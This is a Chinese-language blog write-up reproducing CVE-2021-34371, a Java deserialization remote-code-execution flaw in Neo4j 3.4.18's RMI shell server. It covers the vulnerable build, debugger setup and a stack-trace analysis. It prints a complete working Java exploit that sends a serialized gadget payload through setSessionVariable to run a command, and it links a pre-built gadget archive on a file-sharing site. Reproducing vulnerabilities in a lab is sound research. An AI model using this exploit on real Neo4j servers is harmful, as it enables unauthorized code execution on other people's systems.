0%

复现cve-2021-34371

配置环境

git clone仓库https://github.com/neo4j/neo4j/tree/3.4.18

注意分支,最后有漏洞的版本是3.4.18

按照官方教程安装

mvn clean install

  • 修改一下配置文件,开启neo4j-shell(触发漏洞必要配置)

    neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/conf的neo4j.conf

    修改enabled为true

    1
    2
    3
    4
    5
    6
    # Enable a remote shell server which Neo4j Shell clients can log in to.
    dbms.shell.enabled=true
    # The network interface IP the shell will listen on (use 0.0.0.0 for all interfaces).
    dbms.shell.host=127.0.0.1
    # The port the shell will listen on, default is 1337.
    dbms.shell.port=1337

cd到packaging/standalone/target 运行bin/neo4j start

然后会看到启动成功的标识,访问http://localhost:7474/ 成功即安装完成

(仅复现可以不需要以下步骤,直接打payalod即可)

调试思路:

为了可以调试,需要获取到他真正的启动命令,而不是直接用shell脚本启动

然后配置一下远程启动(配合调试)

远程调试可以看这个https://www.cnblogs.com/Sincerity/p/11468390.html

目的就是让命令行运行的java虚拟机可以被idea调试(在有源码的情况下)

先从bin/neo4j中获取到实际命令行启动的参数

  1. 获取实际运行命令

在do_start()方法中加一条打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
do_start() {
check_status
if [[ "${NEO4J_PID:-}" ]] ; then
echo "Neo4j is already running (pid ${NEO4J_PID})."
exit 0
fi

echo "Starting Neo4j."

check_limits
build_classpath

assemble_command_line
command_line=("${retval[@]}")
echo "${retval[@]}" # 添加一条这个,然后观察命令行输出就可以获取到
nohup "${command_line[@]}" >>"${CONSOLE_LOG}" 2>&1 &
# 省略
}

运行bin/neo4j start

大概是这样的结果

1
2
3
4
5
6
7
8
/home/harry/.jdks/corretto-1.8.0_322//bin/java -cp /home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/plugins:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/conf:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/lib/*:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/plugins/*:/home/harry/.jdks/corretto-1.8.0_322//lib/tools.jar 
-server -XX:+UseG1GC -XX:-OmitStackTraceInFastThrow -XX:+AlwaysPreTouch -XX:+UnlockExperimentalVMOptions -XX:+TrustFinalNonStaticFields -XX:+DisableExplicitGC
-Djdk.tls.ephemeralDHKeySize=2048
-Djdk.tls.rejectClientInitiatedRenegotiation=true
-Dunsupported.dbms.udc.source=tarball
-Dfile.encoding=UTF-8 org.neo4j.server.CommunityEntryPoint
--home-dir=/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT
--config-dir=/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/conf

因为要远程调试,所以启动命令加一条jvm配置-Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y

即启动命令为

1
2
3
4
5
6
7
8
9
10
/home/harry/.jdks/corretto-1.8.0_322//bin/java 
-Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y
-cp /home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/plugins:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/conf:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/lib/*:/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/plugins/*:/home/harry/.jdks/corretto-1.8.0_322//lib/tools.jar
-server -XX:+UseG1GC -XX:-OmitStackTraceInFastThrow -XX:+AlwaysPreTouch -XX:+UnlockExperimentalVMOptions -XX:+TrustFinalNonStaticFields -XX:+DisableExplicitGC
-Djdk.tls.ephemeralDHKeySize=2048
-Djdk.tls.rejectClientInitiatedRenegotiation=true
-Dunsupported.dbms.udc.source=tarball
-Dfile.encoding=UTF-8 org.neo4j.server.CommunityEntryPoint
--home-dir=/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT
--config-dir=/home/harry/vlunReproduce/neo4j-3.4.18/packaging/standalone/target/neo4j-community-3.4.18-SNAPSHOT/conf

这里有个坑是zsh下我无法运行这条命令,换成bash就好了

然后配置idea的远程调试本地端口,在idea中添加一个debug选项

use module classpath选择community-build

组装exp

exp需要自己装一下,exploit-db里面写的很清楚(网址详见参考)

也可以直接用我这份组装好的

https://anonfiles.com/3bhdtaa5ya/rhino_gadget_zip

这里贴下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
////package runnable;

import sun.rmi.registry.RegistryImpl_Stub;

import java.io.Serializable;
import java.rmi.Naming;
import org.neo4j.shell.ShellServer;

public class ExploitB {

// public static String COMMAND = "touch /tmp/test.txt";
public static String COMMAND = "gnome-calculator";
public static String TARGET = "rmi://127.0.0.1:1337";
public static String TARGET_BINDING = "shell";

public static void main (String args[]) throws Exception {

boolean validBinding = checkBinding(TARGET_BINDING, TARGET);
if (!validBinding)
{
System.out.println("[-] No valid binding found, shell server may not be listening. Exiting");
System.exit(0);
}

System.out.println("[+] Found valid binding, proceeding to exploit");
ShellServer server = (ShellServer) Naming.lookup(TARGET + "/" + TARGET_BINDING);

// Object payload = new RhinoGadget().getObject(COMMAND);
Object payload = Payload.getObject(COMMAND); // .getObject(COMMAND);

//Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing off
try {
server.setSessionVariable(newClientId(), "anything_here", payload);
}
catch (Exception UnmarshalException ) {
// UnmarshalException.printStackTrace();
System.out.println("[+] Caught an unmarshalled exception, this is expected.");
}
System.out.println("[+] Exploit completed");

}

/**
* Just a helper method to validate that the rmi binding we're looking for is present
* @param bindingToCheck the binding you'd like to check for
* @param targetToCheck the rmi registry to check against
* @return true if the binding is present, false if not
*/
public static boolean checkBinding(String bindingToCheck, String targetToCheck) {

System.out.println("Trying to enumerate server bindings: ");
try {
RegistryImpl_Stub stub = (RegistryImpl_Stub) Naming.lookup(targetToCheck);

for (String element : stub.list()) {
System.out.println("Found binding: " + element);
if (element.equalsIgnoreCase(bindingToCheck))
return true;
}
return false;
}
catch (Exception ex)
{
return false;
}

}

public static Serializable newClientId() {
return Integer.valueOf(1);
}

}

exploit

启动neo4j然后运行exp

调试定位漏洞原因

调试了半天没断进去,

看了nvd对cve的描述是

Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.

同时能成功rce的exp在调用的远程方法也是 server.setSessionVariable(newClientId(), "anything_here", payload);

对这这个函数签名找了一下对应的源码,

然后在调用点都下了断点,但是打exp的时候并没有断进去

然后学到了一个姿势,直接把断点下在jdk命令命令执行的内部方法上 ,然后去跟踪堆栈信息

直接打在ProcessBuilder的start方法上

断进来了

但是栈底一就是jdk内部的调用,没有断到neo4j的源码点上

然后跟了一下启动的流程吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 启动导致漏洞的neo4j-shell 开启了rmi
load:81, ShellBootstrap (org.neo4j.shell.impl)
start:47, ShellServerKernelExtension (org.neo4j.shell.impl)
# 以下为启动基础neo4j
start:445, LifeSupport$LifecycleInstance (org.neo4j.kernel.lifecycle)
start:107, LifeSupport (org.neo4j.kernel.lifecycle)
start:84, KernelExtensions (org.neo4j.kernel.extension)
start:445, LifeSupport$LifecycleInstance (org.neo4j.kernel.lifecycle)
start:107, LifeSupport (org.neo4j.kernel.lifecycle)
initFacade:208, GraphDatabaseFacadeFactory (org.neo4j.kernel.impl.factory)
newFacade:125, GraphDatabaseFacadeFactory (org.neo4j.kernel.impl.factory)
lambda$static$0:58, CommunityNeoServer (org.neo4j.server)
newGraphDatabase:-1, 85777802 (org.neo4j.server.CommunityNeoServer$$Lambda$107)
start:88, LifecycleManagingDatabase (org.neo4j.server.database)
start:445, LifeSupport$LifecycleInstance (org.neo4j.kernel.lifecycle)
start:107, LifeSupport (org.neo4j.kernel.lifecycle)
start:212, AbstractNeoServer (org.neo4j.server)
start:111, ServerBootstrapper (org.neo4j.server)
start:79, ServerBootstrapper (org.neo4j.server)
main:32, CommunityEntryPoint (org.neo4j.server)

依旧不清楚的是为什么没有断在那个 setSessionVariable的方法中

但根据payload看造成漏洞的代码就是这个函数通过rmi载入了恶意了对象。

然后根据rmi自动反序列化导致了rce

然后新版本的修复是直接把这个类给删了,diff中看不到直接的修复

参考